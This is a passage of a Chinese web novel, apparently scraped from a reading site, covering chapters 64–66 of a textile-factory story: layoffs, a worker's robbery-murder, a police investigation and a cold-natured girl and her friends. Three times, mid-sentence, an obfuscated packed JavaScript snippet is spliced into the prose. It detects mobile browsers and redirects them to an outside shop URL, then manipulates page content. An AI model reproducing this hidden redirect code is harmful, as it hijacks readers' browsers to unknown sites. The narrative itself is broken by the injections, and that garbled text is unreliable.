“谁知道呢?听说,是前几个月有个荒地出去的,去‘砸窑’了。打闷棍的时候把人杀了,条子去追,她家那口子,折了!她儿子刚上初中就没了爹,她能不恨吗?” 有个明显知道不少门道的人,低声说着。 “砸窑”又是另一句黑话,指的是入室抢劫。 荒地里有不少人是从劳教所里出来的,对这些事情总有办法知道。 “要不太平了啊……” 老亏坐在自己的篷子前面,低下头,点燃一支土烟,却不抽。 在烟雾和夜色的掩盖下,他的眼神锐利尖刻,隐晦地落在一个陌生面孔之上。 这是一个身材矮小的中年男人,头发很短,明显没有被修剪过,杂乱地在头顶竖起。 他凑在人群旁边,很殷勤地给别人倒水点烟,自己并不说话,有人问他,他也只是憨厚地笑笑,指指自己的嘴,发出“啊啊”的短促声音。 “啊,是个哑巴。” 这在荒地上太常见,大家感慨了一句,也就回到自己的话题上。 老亏没见过这人,他是荒地的“新成员”。 他真是哑巴?还是,有什么绝对不能说出来的事,绑住了他的口舌? 这件事得跟进一下。 老亏收回目光,垂下眼。 “亏哥?亏哥!” 有人叫他。 “怎么了?” 老亏回过神来。 “有个人。” 叫他的年轻人指指指荒地的入口。 又是个新人,一身酒气,醉醺醺地走进来,说话声音大舌头,每个字都糊嘴。 “你,你们!在这天天呆着,有什么出息?老子,能给你们活儿干?走不走?!跟老子走!” 他大声嚷嚷着,又往嘴里灌上两口白酒,自顾自哼笑起来。 吴志很得意,经过今天的“奇遇”,他愈发觉得自己这三年劳教所,真不是白蹲的,虽然因为跟着“大哥”打群架,让他被加刑一年。 可如果不是这样,“大哥”怎么会信任他,介绍他拆迁队这么好的工作? “不把房子还给老子,老子就给它拆了!全拆咯!我可、可是号子里蹲过的!我吴志,不是谁都能欺负的!” 他说得又急又快,舌头还不清楚,口水直往外喷。 正在说话的拾荒者们你看看我,我看看你,都后退两步。 他们是捡垃圾的不假,被口水喷也恶心啊! 拆房子? 老亏眼神一凝。 “你,你!都跟着老子干!两百一天!干不干?走!” 吴志嚷嚷着。 两百一天? 两百?两百! 一听这个数字,谁也不怕口水了,都向吴志的方向冲过去。管是真是假,先把挣钱的机会抢到手里! 如果是假的,再打这个骗子一顿出气不就行了?一个醉醺醺的前科犯在荒地摔死了,条子才懒得查这种事! “两百块?干什么能挣两百一天?你是不是诓我们呢?” 这是疑惑的。 “两百我能干!我要是被条子抓进去了,你们另搭多少?道上的规矩现在可都是五千一年了!” 这是一听就明白了的。 拆迁队,在拉有前科的人进去。 老亏猛吸一口烟,沉思着。 他们要拆哪里? 又打算怎么拆? 这件事, 得和上头说一声。 64. 芳芳纺织厂(16) “今天开始,我每天接送你上下学吧。” 课堂间隙,隋觉荆和闵朝言说。 “为什么?” 闵朝言问。 她正在写卷子,去年的中考卷子。 上课对闵朝言来说是很无趣的一件事。 她只需要看一遍教科书,就能理解那上面的所有知识,即使是最刁钻古怪的题目,只要她理解过一次,就不会再错第二次。 在上小学时,闵朝言在学校的乐趣来自于白百福和郝升祺,她的两个朋友都很听话,而且非常好玩儿。 现在嘛…… 闵朝言的视线看向隋觉荆,对着他眨了眨眼睛。 “你在想什么?” 隋觉荆问。 隋觉荆不算很听话,也不能说很好玩,但闵朝言对他的兴趣依然浓厚,因为这个人比她的其他朋友们都更“复杂”。 “想你啊。为什么突然要接送我?” 闵朝言回答,放下手中的笔。 “我妈最近很忙,我担心,是不是这里变得危险了。” 隋觉荆回答。 隋觉荆的母亲是芳芳纺织厂辖区的治安局局长,隋觉荆也正是随着她的升职调任,才会在今年转学来到纺织厂附中。 “她告诉你的?” 闵朝言有点好奇。 “不是,但她又开始加班了,而且好几次都是通宵才回来,我觉得肯定是发生什么事了。” 隋觉荆摇头。 一般的小偷小摸不足以让治安局局长通宵加班,除非,出现了一些可能会造成严重后果的事。 闵朝言想起前几天,闵长风出门时曾说过,她车间里的工人被人打伤了。 “抢劫吗?” 闵朝言问。 “具体的我不知道,我很少见我妈心情那么差,就像当时……” 隋觉荆没说下去,看着闵朝言的眼睛,笑出一口大白牙: “别担心,我会保护你的!” 又出现了,这种在说到某个事情时会突然停下的话头,偶尔会变得悲伤的表情。 闵朝言的好奇心愈发旺盛起来。 “嗯,那谢谢你啦。” 她仰起头靠在椅子上,喝了一口温热的牛奶,眼睛亮亮的。 “多和我讲讲你妈妈的事吧?治安局局长,听上去就好厉害,她会开枪吗?” 她的声音里带着期待。 “当然了,我妈以前可是神枪手!她小时候,还会教我开玩具枪,我随她,准头特别好。” 隋觉荆的脸上也露出笑,和闵朝言回忆起童年。 “我从小就像,以后我也要像她和我爸一样,当治安官,保护好每一个重要的人。” 他脸上的笑容突然顿住,没有淡去,眼神中却出现了某种比怀念更加复杂的东西,像是掺杂了玻璃渣的糖果碎屑。 叮铃铃—— 上课铃响起,隋觉荆回到自己的位置上。他的头发有点长了,垂头时会遮住眼睛,闵朝言看不清他的表情。 应该是很有趣的表情。 她拿起水笔在纸上随意描绘着,毫不在意地毁掉这张花了自己一个小时时间才完成的卷子。 毕竟,人比题目有意思多了。 她的笑容里露出一点狡黠。 放学路上,隋觉荆背着两个书包走在路上,将落的太阳洒下余晖,照在他棕色的眼睛里,仿佛黄金闪烁。 “吃不吃烤肠?” 闵朝言买了两个,对着他递出一个。 “好啊,谢谢。” 隋觉荆接过。 淀粉肠切上花刀,浸泡在油锅里炸到金黄色开花,边角酥脆,内里绵软。 肠身上撒了足量的辣椒粉和孜然粉,咬上一口,油脂、淀粉、香料的香气在嘴里混合,犹如一场绚烂的烟花在味蕾炸开。 “很好吃。” 隋觉荆说。 他不吃辣,只咬了两口就有点舌头发麻,额间薄薄覆上一层汗水,嘴唇红起来。 “你不吃辣?” 闵朝言也咬下一口,满足地眯起眼睛。 她看着隋觉荆的表情,有些神奇地眨了眨眼。 “嗯,我对辣椒有一点点过敏。” 隋觉荆用手扇风,小口小口呼气。 “抱歉啦。” 闵朝言声音懒洋洋的,送上没带几分真心的歉意,抬手想把烤肠从隋觉荆手里拿走。 “不,不用!我可以吃完这个!” 隋觉荆立马握紧竹签,眼神坚定,看着闵朝言,又重复了一句: “好吃的,我可以吃。” “你再买一个不带辣椒的就好了。” 闵朝言有些莫名。 “干嘛非要吃自己过敏的东西?” 她问。 “……第一次有人给我买零食,我想吃完。” 隋觉荆握着竹签,声音变小。 他又咬了一口烤肠,一边被辣地出汗,一边很认真地咀嚼。 闵朝言不理解,不过她也不打算拦着。 看着隋觉荆像大狗一样傻乎乎喘气的样子,也很好玩儿。 她笑着想。 晚饭时,闵长风的脸色很憔悴,这种憔悴不仅仅是工作上的疲累,带着一种更深,更隐秘的痛苦。 “妈妈,你怎么了?” 闵朝言放下筷子问。 “言言,妈妈没事,只是工作累了。” 闵长风摇头,给闵朝言夹了一块红烧肉。 买房这件事没有给闵家带来什么经济上的压力,一家人没有特意节衣缩食,依然是顿顿有肉。 但这件事有没有给闵长风带来精神上的压力? 她每天住在自家几乎不费什么力气,就买下的,一万五千块的房子里; 她每天上班,却要用这差不多的一万多块钱,去买断共事十年的工友们的工龄,买断他们的下半生。 闵朝言没有吃肉,安静地看着母亲。 她是一个绝不肯接受被敷衍的孩子。 “言言,妈妈……觉得惭愧。” 闵长风看着女儿的眼睛,半响,轻声说。 “妈妈当了车间主任,每个月拿一千多块钱,我们买了房子,日子好像在越过越好,可是除了我们之外,还有很多人,很多无辜的,没有做错任何事情的人,在变得很困难,很痛苦。” 她的声音犹疑着。 “程新,齐姐,老张……每个人都在很努力地生活,大家都为了这个厂子付出了十几年,所有的青春啊。” 闵长风的眼泪跌进碗里。 “怎么,就变成今天这样了呢?” 她问。 可答案在哪里呢? 没人知道。 今天午休时,闵长风听到消息,老张死了。 他是六车间一个一线工人,四十来岁,初中一毕业就进了厂,已经在厂子里工作二十二年。 那只是一个普通的晚班结束,在下岗的压力下,大家都想多干几个工时,即使到时候不得不走,也能多拿点补偿款。 多个几十块钱, 就又能多捱过去十天八天。 老张就是在这样一个无比平凡的晚班结束之后,抄近路回家,在一条小巷子口,被人从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689604|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后拍了一板砖。 一板砖给他开了瓢,头上凹下去一块,血咕噜咕噜地在地上流。 淌成一片小池塘。 老张并没有损失太多财物,因为他身上本来就没有钱,只有几张零钱,因为沾了血,劫匪似乎是嫌弃花不出去,并没有拿走。 闵长风去看他的时候,他刚醒,已经说不太出话,他要来纸笔,粗糙的手在上面歪歪扭扭地写了一行字。 闵长风用了很久才在那凌乱的线条里辨认出他的问题。 他问: 我要是死了,算工伤吗?有钱赔吗? 闵长风没办法回答这个问题,她转身逃了,从病房前,从病床里,从那些无时无刻不看着她的眼睛里逃了。 “言言,妈妈真的,觉得自己太坏了。” 她抱着闵朝言,眼泪落下来。 闵父摸摸握住妻子的手,他一向寡言,此刻更是不知道能说些什么。 “妈妈,你是好人,很好很好的人。” 闵朝言说, “坏人从来不会觉得自己坏的。” 她看着母亲的眼睛,双手捧着闵长风的脸,声音很耐心: “妈妈,你想得太多了。” 我想得太多了? 闵长风愣了一下。 “大人总是这样,会想太多太多的东西。可是张叔想要钱,你努力给他钱不就好了吗?” 闵朝言说。 她的脸上是那种聪明孩子特有的,对大人行为所感到的不解,和认为他们蠢笨的无奈。 这种不解和无奈混合在一起,让闵长风的心不自觉落了一拍。 “言言,你知道,‘死’是什么意思吗?” 闵长风的声音很轻。 “死就是死啊,再也不会存在了,也不会再见到了。” 闵朝言回答。 “对啊,死了,再也没有了!老张再也没有了!你不明白吗?你怎么能一点反应也没有?你怎么能?你怎么能!!” 闵长风将桌上的碗筷扫到地上,瓷器碎裂声刺耳,仿佛有什么东西也随之被砸碎了。 …… 闵朝言没有说话,她安静地坐在椅子上,似乎不理解为什么母亲会突然情绪失控。 “妈妈,对不起,你不要难过了。” 她对着闵长风伸出双手。 “张叔叔是你的朋友,你伤心了,没关系的,我不怪你。” 她的语气是那样包容而温柔。 闵长风呆呆站在原地,忽然跪下来,伸出手紧紧将闵朝言抱进怀里,她抱得很紧,很紧,仿佛要将这个孩子重新塞回到自己的身体里去。 “言言……言言……对不起,妈妈不该喊你的,妈妈错了,妈妈对不起你……” 她哭喊着。 闵朝言的脸颊靠在母亲肩膀上,她看着母亲的头发随着哭喊的动作一晃一晃,伸出手,用小手缓缓抚摸着母亲的后背,安慰着。 “没关系的,妈妈,我不怪你。” 她又说了一遍。 “妈妈,妈妈错了……” 闵长风闭上眼,紧紧抱住女儿。 她错了,她不该生气,不该情绪失控。 闵朝言只是一个九岁的孩子。 一个九岁的孩子,如何能理解死亡,能理解周围发生的一切变化呢? 她只是想帮自己母亲而已,她只是在关心自己的母亲而已。 闵长风紧紧闭上眼。 要忘记,要彻底忘记。 只需要记得一件事。 这是她闵长风的孩子, 她爱这个孩子。 65. 芳芳纺织厂(17) 今天早上醒过来,闵朝言看见窗外有雪花飘落。 她打开窗户,抬手去接,冷空气在手心蔓延开,雪花落下又融化,在手心里留下一点凉意。 她的视线顺着其他雪花落下的弧线看过去,在楼底下,有一个小小的黑点被雪花覆盖。 她的视线停住。 不知道从什么时候开始,即使不看面容,不听声音,她也能辨认出来曲让尘了。 她套上衣服,小跑着往楼下去了,没有理会闵长风要她先把头发扎起来的呼唤。 她也不知道自己为什么要跑。 “阿言。” 曲让尘站在薄薄一层积雪中,看向闵朝言的眼睛闪亮。 他穿着闵朝言的旧衣服,黑色羽绒服衣角上有花朵的刺绣,鼻尖和脸颊被冻得发红,抬手摸上去,像冰一样。 他大概在这里等了很久,但具体是多久,可能连曲让尘自己也不知道。 见到闵朝言之外的时间,他从来不会放进大脑里。 “阿言,你看。” 曲让尘的怀里抱着一个小小的纸袋子,袋子上面打了一个蝴蝶结,很精致。 闵朝言接过来打开,里面是一双浅色麂皮绒手套。 这种手套是稀罕物,和几块钱就能买到的棉手套不一样,这种用了真皮外层,内里铺满柔软绒层,上面有着可爱图案刺绣和绒球装饰的手套,往往只有在商场里才有得卖。 用料并没有多昂贵,只是有了“进口牌子”这样的名头,所以身价很高。 即使是月工资一千两百块的闵长风,也很难咬着牙给女儿买下一双将近一百块的新手套。 曲让尘捡了一个月的瓶子也才能买一个镶着水钻的发夹,他从哪里来的钱买这个手套? “你偷家里的钱?老残废会打死你的。” 闵朝言说。 老曲现在成了残废,性格比以前更古怪,只是没那么多力气打人了,曲让尘又一天到晚都在荒地捡垃圾,只有晚上回去睡觉的时候,会被他捉住,用拐杖抽上一顿。 对于曲让尘来说,这早就是不痛不痒的事。 但偷钱就不一样了,如果锁在铁盒子的那一点点钱没有了,老曲就算只有一条腿可用,也一定会把曲让尘狠狠揍上一顿。 钱啊钱啊,对没有钱的人来说,它比性命都重要。 “不是,有人找我帮忙送东西,会给我钱。” 曲让尘摇头,看着闵朝言,眼睛里是闪亮亮的期待: “我可以给你戴上吗?” 如果这个礼物是郝升祺送来的,闵朝言一定会拒绝。 她知道朋友之间要礼尚往来,她可以吃郝升祺的高级巧克力,但是她也要给郝升祺买橘子糖,她可以拿郝升祺送的擦脸油,但是她也要给郝升祺买冰棍饮料。 一双这么贵的手套,郝升祺轻易就买得起,但闵朝言买不起差不多价钱的礼物送回去。 但是这是曲让尘送她的。 曲让尘给她什么,闵朝言都可以心安理得地收下,并且不会考虑需不需要回送。 就像小狗打猎回来给主人送上最好吃的那块肉一样,曲让尘给她什么都是理所当然的,因为曲让尘自己就是属于她的。 “好啊。” 闵朝言对着他伸出双手。 曲让尘露出一个几乎可以被称为“欢快”的笑容,他双手紧张地摸着手套的边缘,一点点给闵朝言戴上去。 手被裹进温暖的绒毛里,闵朝言的眉眼舒展开来。 只穿了薄外套就跑下楼,她其实也有点冷。 “真好。” 曲让尘由衷说。 不是真好看,也不是什么别的“真好”,他很难说出自己心中的感觉,那不是任何具体的形容。 他只是觉得自己的心脏很轻,像是有什么东西在温暖地飘浮着,往很高,很远的地方去了。 “你的手好一些了。” 闵朝言说。 曲让尘的手原本很难看,伤疤和皲裂层层叠叠,已经下雪了,很快冻疮也要来凑热闹。 现在依然不是一双好看的手,只是看上去没那么可怜,像下一秒就要在垃圾堆里被发现一样。 “嗯,我每天都擦雪花膏。” 曲让尘认真回答。 他甚至捡了一个破手套,拜托常姐帮他简单缝补之后,自己每天在捡垃圾的时候带着。 很不方便,但他更怕以后不能碰闵朝言的头发了。 “真乖。” 闵朝言笑起来。 她喜欢用这个词,目前来说,她也只能用在曲让尘身上。 大概这就是为什么闵朝言会允许曲让尘围绕在自己身边,即使他对她并没有什么用。 这世界上的其他人,总是在照顾她,帮助她。唯独在曲让尘这里,闵朝言才是那个更高,更大,更加能照顾别人的人。 从三年前,她第一次帮助曲让尘开始,就是这样了。 “你要上学,我把东西给你整理好,你上来搬。” 她带着手套上楼。 曲让尘点头跟上。 他没有进门,安静地站在楼道旁边的阴影里。 “言言,你在干嘛?” 闵长风看着闵朝言手拿一个大书包,正在装东西。 “曲让尘要上学,我给他一点我不用的东西。” 闵朝言说。 一到三年级的书本、字典,没有写完的作业,买了但是懒得用的笔,被摔坏了一个角之后闲置的笔盒…… “你这么一收拾完之后,房间真是干净多了。” 闵长风笑了一声。 “曲让尘呢,不让朋友进来等吗?我们可以一起吃早饭。” 她说。 闵长风知道女儿和曲家“侄子”的关系似乎还不错是,心中多少有些纠结。她不愿意干涉女儿的交友自由,但曲家实在不是什么好人家,她也担心女儿吃亏。 好在两个小孩子之前似乎没有太深的感情,只是曲让尘常常来找闵朝言玩,闵长风也就放心下来。 她心中觉得,闵朝言愿意和曲让尘一起玩,还把自己用过的学习用品送给对方,是因为本质上还是个善良的孩子,有同情心,有热心帮忙。 如同在激流中偶遇浮木,闵长风牢牢抓住。 她的女儿是个善良的孩子。 闵长风告诉自己。 “不用啦。” 闵朝言抱着大书包往外走,顺手拿走餐桌上的两个包子。 曲让尘站在阴影里,看着闵朝言来了,小跑上去接过书包。 好重。 曲让尘一下子差点没拎起来,脸上露出一点笑容。 都是闵朝言的东西。 这个认知,让他的心脏又轻轻飘浮起来。 “啊——” 闵朝言拿起包子。 曲让尘乖乖张嘴,让她把包子塞进自己嘴里。 “你没上过学,认识字吗?” 闵朝言问。 老曲自然不肯让曲让尘从一年级开始学起,那不是要多交学杂费了? 他一开始都不打算让便宜养子识字,只是现在义务教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694723|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 育政策抓得紧,他被街道的工作人员催了两年,不情不愿地给曲让尘办了公立小学的入学手续。 曲让尘按年龄插班到了四年级,他下周才能正式入学。 “……” 曲让尘摇摇头。 他从没受过任何形式上的教育,在农村里,三四岁就要帮着干活,捡柴火或者摘杂草,进了曲家要拖地擦地。 曲让尘认识数字,也是从他开始尝试给闵朝言买东西开始的。 一颗糖要三毛钱,一个发绳要五块钱,一本书要十几块钱,一个手套要八十九块钱。 一个塑料瓶可以买五分钱,易拉罐能卖七分,纸壳子论斤卖,如果是亏叔带着他卖,能卖六毛一斤,如果是他自己去买,就是卖三毛一斤。 曲让尘认真地记住每一个价格。 “我可以教你,但你要学得很快,我讨厌笨人。” 闵朝言咬了一口包子,又笑起来: “不过你一点也不笨,你学东西可快了。” 从三年前开始就是。 - 绿皮火车一路疾驰,从盎然绿色,一路来到银霜素裹。 长途列车内部弥漫着各种气息,食物,烟酒,混杂在一起,并不好闻。 身量拔高的少年人坐在窗边,斜倚靠在玻璃上,他看着窗外,伸出指尖划去眼前水雾。 水雾化成水珠,顺着他如竹的指节滑落,浸湿袖口。 眼前的景象渐渐清晰起来,熟悉也陌生。 车厢中的吵闹,仿佛半点与他不相沾染,他肌肤素白,仿佛一尊玉像逃出庙宇,奔赴霜雪天地。 男生的手腕上分明,那上面套着一只已经很旧了的发圈。 蓝色发绳,上面绣着铃兰花的图案。 “乘客们注意啊,注意,下一站就是咱们终点站了!下车时候别忘东西,注意好重要证件千万别忘!” 列车还有半小时到站。 他抬手摸上自己的手腕,发圈里的绳结硌得他有点疼。 四十个小时的列车都已经坐过来,此刻的三十分钟却显得那样漫长,叫人无法忍受。 他拿起书包,站起身往车门前走去。 等待真是奇怪,明知多等无益,可若是不这样做,心却更焦,放不下拿不起,只会不断作乱,在胸膛中乱撞。 母亲提出过为他支付机票费用,毕竟这一趟,是他替她出面。 但他不愿意,总觉得飞机太快太简单,显得过于轻易。 在列车上听着铰链晃动的咿呀声响时,他才终于明白,为什么那些书中的朝圣者要一步一步,用双脚双膝去踏上朝圣之路。 当心中情绪过于漫溢时,只能用痛苦来磨平几分,暗自期盼自己一路落下的骨肉碎屑溶入泥土, 祈祷在漫长岁月之后, 能开出一朵花。 “列车已到站了啊——!” 乘务员高昂的声音响起。 车门打开,背着大包小包的人往外冲出去。 他们都有自己要去的地方,要去见的人,有前路和目的。 “终点站到了啊——检查好自己的行李!” 大喇叭里,乘务员的提醒还在继续。 终点站——重平市,到了。 “小哥,你就一个包?” 有好心的大姐提醒他检查行李。 “嗯,我的行李不多。” 他笑了一声。 手心再次握住另一只手腕上的发绳,他的心脏落回原地。 最重要, 一直都在他身边。 66. 芳芳纺织厂(18) 放学路上,闵朝言手里拿着一根洒满辣椒粉的烤肠,悠闲走在路上。 隋觉荆走在她身边,手里也拿着一根烤肠,和闵朝言的一样,满满辣椒粉。 他买的烤肠,明明可以买一根辣一根不辣的,可每次都是这样,隋觉荆一边吸鼻子一遍吃辣烤肠。 闵朝言觉得他其实是一个不太容易用常理解释的人。 他身上有很多很矛盾的地方,让闵朝言觉得好奇。 “我今天还想听故事。” 她咬着烤肠说。 隋觉荆送她回家的时候,总会在路上说一些探案的故事,他很会讲故事,将枯燥无味的探案过程省略,只留下精彩刺激的线索和跌宕起伏的故事转折。 “好啊,这次讲一个传奇法医发现连环杀人案的故事怎么样?” 隋觉荆笑着回答。 “好呀。就是之前故事里出现过,帮了你妈妈大忙的何法医?” 闵朝言点头。 上了初中之后,老师会在课堂上强调学习的重要性,课堂上的作文里,也会出现有关“我的理想”这样的题目。 她的理想是什么呢? 闵朝言会想。 在隋觉荆的故事里,她渐渐有了一点想法。 她想当一个法医。 多好玩啊。 闵朝言一直很喜欢观察人,她之前一直都只能观察人的外表,当法医的话,就可以把人的内在也好好地看清楚。 在隋觉荆的故事里,法医可以在不能说话的尸体身上,发现重要的线索,像是解谜游戏一样。 闵朝言充满期待。 “是呀,何阿姨很厉害的,她是我妈妈的学长,两个人认识很多很多年了。” 隋觉荆点头。 “以后我要当治安官,你当法医,我们能一起上大学,一起工作,就像我妈妈和何阿姨一样!” 说到这里,一向在同龄人中被夸奖稳重成熟的隋觉荆,眼中也忍不住露出一点期待的闪光。 “我们可以做一辈子的好朋友。” 他对着闵朝言笑。 “可以啊。” 闵朝言点头。 听上去是个不错的搭配。 两人一路聊天,天色也渐渐暗下去。 下雪之后,天黑得更早,现在不过六点钟的光景,月色已经攀上天际。 “小隋来了,要不要一起吃饭?” 闵长风打开门,看着隋觉荆的身影,笑着问。 她很喜欢隋觉荆,阳光积极,开朗乐观,又对闵朝言处处照顾。 “不啦,闵阿姨,我回家给我妈妈做点饭送过去。” 隋觉荆摇头,很礼貌地拒绝。 “你妈妈还在加班呀?你直接拿点我们家的饭给她送过去吧,这样也快。” 闵长风提议。 “太麻烦了,不用……” 隋觉荆摆手。 “我拿两个饭盒,你们俩一起吃嘛!” 闵长风风风火火地开始行动。 隋觉荆摆手的动作停下了。 “那,谢谢阿姨。” 他有点不好意思地捏着自己的衣角。 抱着两个热乎乎的铝饭盒,隋觉荆走在薄薄的雪上,舌头上还残留着辣椒粉的余威,他呼吸时候觉得舌根发麻。 “妈,吃饭吧。” 他推开办公室的门,里面有很重的茶和烟味。 抽烟是很不好的习惯,但常年大夜熬下来,许多基层治安官用它提神。 尤其是这种时候。 “放下吧,我开完会吃。” 隋局长没看儿子,只说。 她眼下一圈乌青,杯子里的茶叶浓到酸苦。 “这是我朋友妈妈做的,让我们一起吃。” 隋觉荆抱着装着饭盒的布袋子,看着母亲,眼神中有一点祈求的意味。 “我吃得很快的,十分钟,不,五分钟!” 隋觉荆说。 “隋局,和孩子吃顿饭吧,我们也休一下,真累了。” 会议中有人出声说。 “是啊,我这老骨头都要散架啦——” 有人笑着捶腰。 隋局长没说话,站起来,在黑板上的照片旁边拿起粉笔,又写了几行字,开口说道: “我们现在知道嫌疑人是从南市流窜过来的,他在抢劫并打伤了纺织厂工人,受害者张平之后,在现场留下了自己的指纹,这是一个很重要的线索。但经过我们现有的指纹库内部比对,没有发现符合的结果。 受害人张平因为伤势过重,已经在上周死亡,纺织厂联系了我们,希望能为受害人家属一起筹集一笔安慰抚恤金。毕竟是刑事案件受害人,局里要有态度,这件事交给小李去跟进。 重平市已经出现了一名受害人死亡,加上之前他在南市的……” 隋局长的动作一顿,粉笔在黑板上留下一个生硬的白点。 “……加上他在南市的作案记录。他现在正式成为头上有着两条人命的重大杀人案嫌疑人,我们需要对纺织厂附近的流动人口做进一步的走访……” 隋局长的神情专注,没有看站在门外的儿子。 有人拍了拍隋觉荆的肩膀,低声安慰: “小觉,回去吧,你妈现在需要工作。” “何阿姨。” 隋觉荆点头,露出一个笑。 “我知道的,她是一个很好的治安官,她要保护大家。” 他说。 她不想面对我,我知道。 他在心里说。 他知道,自己长得像爸爸。 “好孩子,辛苦你了,回家吃饭吧。” 何法医说。 隋觉荆又抱着两个饭盒离开了,他一路走着,到了单元楼前,才惊醒过来,他居然没有走回自己家。 真是冻傻了。 他抱着饭盒,坐在单元楼门口。 在小雪的天气里,即使一直抱在怀里暖着,饭盒也早就凉透了。 辣椒炒肉,番茄炒蛋,还有炒白菜, 在热气腾腾的时候,这一定是一顿很令人幸福的晚餐。 可现在,炒菜上的猪肉已经凝固,碎成一个个白色的小粒, 凉透的番茄变得很酸。 隋觉荆坐在台阶上,就着风和雪,大口大口地吃着已经冷掉的饭。 吃着吃着,他放下筷子,深深地低下头去。 呜咽声被风吞没。 他好想吃烤肠。 吃一根沾满了辣椒粉,会让他舌头又疼又麻的烤肠。 他现在好冷。 - 曲让尘上学的第一天就被排挤了。 因为他抱着一个蓝色绣着铃兰花的书包上学,而且一整天除了坐在座位上抱着书包之外,什么也没做。 曲让尘很瘦,但个子并不矮,为了让他少花两年学杂费,老曲在他的户口写上的是89年出生。 周岁只有八岁的曲让尘在一群十来岁的孩子里,居然个子是最高的。 一个又高又瘦,头发盖住眼睛,总是低着头抱着书包不和任何人说话的插班生新同学, 大家觉得他可怕又奇怪也是很正常的事。 班上的同学觉得他应该是脑子不好, 白百福也是这么认为的。 前提是,这个人拿着的不是闵朝言的书包。 她坐在曲让尘前面一排,在下课的时候,小心翼翼地在桌子上放了一张纸条。 [你认识闵朝言吗?] 纸条上,小孩子稚气的笔划写着一行字。 曲让尘认识的字不多,但“闵朝言”三个字,不管用多么难以辨认的字体笔画写下来,他都能看出来。 “阿言。” 曲让尘抬头看了一眼白百福,点头。 他是认识白百福的,他之前去附小偷偷看闵朝言上体育课的时候,白百福和郝升祺总会出现在他的视线里。 “她把书包送给你了?” 白百福小声问。 白百福不认识曲让尘,但她听母亲在和人聊天的时候,会说起那个古怪又可怜的曲家侄子。 不过,母亲和别人聊天,也是很久之前的事了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703848|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白百福的目光黯淡下来。 “嗯。” 曲让尘低下头,把脸颊贴在书包上,露出一点幸福的笑容。 很诡异, 白百福吓得都要不敢说话了。 “你、你能帮我和闵朝言传纸条吗?我很害怕……” 她紧张地咬住下唇,不敢看曲让尘。 白百福家上个月搬出了纺织厂职工楼,一冬天六百元的取暖费如今是家中不可承受的数字。 她搬到了奶奶家里,和今年六十岁的奶奶共享一个狭小的房间。 她想见闵朝言, 她想求闵朝言帮帮自己。 曲让尘没有搭理她,抱着自己的书包闭上眼,看上去想要再睡一觉。 “求求你,可以吗?我,我给你买零食,买巧克力!” 白百福急切地小声说,在四年级里,零食巧克力是最高一级的硬通货。 白百福没有零花钱,但奶奶的铁盒子里有几块钱零钱。 “巧克力。” 曲让尘重复了一遍这句话。 阿言爱吃巧克力。 “你要说什么?” 曲让尘问。 他决定先看看白百福的问题值不值得他去传话。 他和阿言相处的时间本来就很少, 不能用来聊阿言不感兴趣的事情。 “我想,我想求她帮帮我。” 白百福的声音很小,像小猫哭,她不敢再大声了,她怕别人听见。 “我想求她,能不能救救我妈妈和我……” 她很轻很轻地哭了一声。 白百福认真写好了一张纸条,折成一颗小星星的形状,很认真地放在了曲让尘的桌子上。 曲让尘再从桌子上拿起来,把星星放进了书包里。 他不让别人碰自己的手,也不让人碰他的书包。 “你一定,一定要给朝言。” 她小心翼翼又再三确认。 曲让尘点头。 不是只因为巧克力, 也是因为,这一定是闵朝言会喜欢的话题。 他的脸颊泛起红意,几乎迫不及待了。 白百福惴惴不安地回到家,她刻意走得很慢,站在家门口的时候,小小的手攥紧了书包带子。 “姓白的,有种你打死我,不然老娘早晚杀了你!” 尖叫厮打声冲出房门。 房间里,程新顶着高高肿起的脸颊,用擀面杖疯狂锤打着男人的大腿。 “老子今天就是要把你这个娘们打服!你有个什么可矫情的?趁着脸还能看,陪人家喝几杯怎么了?能掉块肉吗?” 白父怒骂着,吃痛得大叫一声,一脚将程新踹开。 “陪酒?你让你老婆去陪酒?你自己怎么不去卖!你个不要脸的玩意!” 程新狠狠啐他一口,拿起桌子上的茶缸往丈夫脑袋上砸去。 白百福僵直站在门外,仿佛假死的兔子。 “妮儿,咱们不听,奶奶带你走。” 一双苍老粗糙的手握住她的耳朵。 白百福转过身,看着老人对着她笑了一下。 她不知道怎么形容这个笑容,只是觉得, 奶奶看上去, 像一场下了很多很多年的雪。 黄昏时,菜市场收摊了,现在的天太冷。 白百福跟在奶奶后面,蹲下来找那些还能吃的菜叶子。 被虫子咬到一点没关系,稍微有一点点烂也没关系,在奶奶的手里,这都可以成为一锅热菜汤。 即使吃不上热菜汤也没关系, 白百福悄悄把冻伤的手靠近嘴边,哈着气。 她不怕没有热菜汤,吃咸菜米粥也能活着。 白百福害怕的只有, 